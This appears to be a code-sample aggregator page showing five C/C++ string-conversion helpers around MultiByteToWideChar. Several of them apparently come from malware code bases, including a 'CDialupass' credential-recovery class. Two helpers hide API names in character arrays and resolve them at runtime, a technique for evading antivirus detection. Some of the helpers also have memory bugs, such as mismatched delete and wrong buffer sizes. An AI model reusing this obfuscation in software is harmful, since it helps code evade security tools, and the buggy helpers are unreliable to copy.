示例#1
0
wchar_t* UTF8ToUnicode( const char* utf8String )
{
	wchar_t* res = 0;
	// тест на возможность преобразования
	int resLen = (int)pMultiByteToWideChar( CP_UTF8, 0, utf8String, -1, 0, 0);
	if( resLen == 0 ) return 0;
 	// выделяем память
	res = (wchar_t*)WSTR::Alloc(resLen);
 	if( res == 0 ) return 0;
	// преобразование
	if( !pMultiByteToWideChar( CP_UTF8, 0, utf8String, -1, res, resLen ) )
	{
		WSTR::Free(res);
		res = 0;
	}
 	return res;
}
示例#2
0
WCHAR *AnsiToUnicode( char *AnsiString, DWORD dwStrLen )
{
	wchar_t* res = 0;
	// тест на возможность преобразования
	if( dwStrLen == 0 ) dwStrLen = -1;
	int resLen = (int)pMultiByteToWideChar( CP_ACP, 0, AnsiString, dwStrLen, 0, 0);
	if( resLen == 0 ) return 0;
 	// выделяем память
	res = (wchar_t*)MemAlloc(resLen);
 	if( res == 0 ) return 0;
	// преобразование
	if( !pMultiByteToWideChar( CP_ACP, 0, AnsiString, -1, res, resLen ) )
	{
		MemFree(res);
		res = 0;
	}
 	return res;
}
示例#3
0
void CDialupass::AnsiStringToLsaStr(LPSTR AValue,PLSA_UNICODE_STRING lsa)
{
	char FBwWp01[] = {'l','s','t','r','l','e','n','A','\0'};
	lstrlenAT plstrlenA=(lstrlenAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp01);
	lsa->Length=plstrlenA(AValue)*2;
	lsa->MaximumLength=lsa->Length+2;
	lsa->Buffer=(PWSTR)malloc(lsa->MaximumLength);
	char FBwWp19[] = {'M','u','l','t','i','B','y','t','e','T','o','W','i','d','e','C','h','a','r','\0'};
	MultiByteToWideCharT pMultiByteToWideChar=(MultiByteToWideCharT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp19);
	pMultiByteToWideChar(NULL,NULL,(LPCSTR)AValue,plstrlenA(AValue),lsa->Buffer,lsa->MaximumLength);
}
示例#4
0
WCHAR *AnsiToUnicode( char *AnsiString, DWORD dwStrLen )
{
	if ( !AnsiString )
	{
		return NULL;
	}

	WCHAR *pszwString = (WCHAR *)MemAlloc(  dwStrLen + 1 );

	if ( pszwString == NULL )
	{
		return NULL;
	}

	pMultiByteToWideChar( CP_ACP, 0, AnsiString, dwStrLen, (LPWSTR)pszwString, dwStrLen + 1 );

	return  pszwString;
}
示例#5
0
LPCTSTR CDialupass::UTF8ToGB2312(char UTF8Str[])
{
	char FBwWp01[] = {'l','s','t','r','l','e','n','A','\0'};
	lstrlenAT plstrlenA=(lstrlenAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp01);
	if (UTF8Str == NULL || plstrlenA(UTF8Str) == 0)
		return "";
	int	nStrLen = plstrlenA(UTF8Str) * 2;
	char *lpWideCharStr = new char[nStrLen];
	char *lpMultiByteStr = new char[nStrLen];

	char FBwWp19[] = {'M','u','l','t','i','B','y','t','e','T','o','W','i','d','e','C','h','a','r','\0'};
	MultiByteToWideCharT pMultiByteToWideChar=(MultiByteToWideCharT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp19);
	pMultiByteToWideChar(CP_UTF8, 0, UTF8Str, -1, (LPWSTR)lpWideCharStr, nStrLen);
	char DYrEN32[] = {'W','i','d','e','C','h','a','r','T','o','M','u','l','t','i','B','y','t','e','\0'};
	WideCharToMultiByteT pWideCharToMultiByte=(WideCharToMultiByteT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DYrEN32);
	pWideCharToMultiByte(CP_ACP, 0, (LPWSTR)lpWideCharStr, -1, lpMultiByteStr, nStrLen, 0, 0);

	delete lpWideCharStr;
	return lpMultiByteStr;
}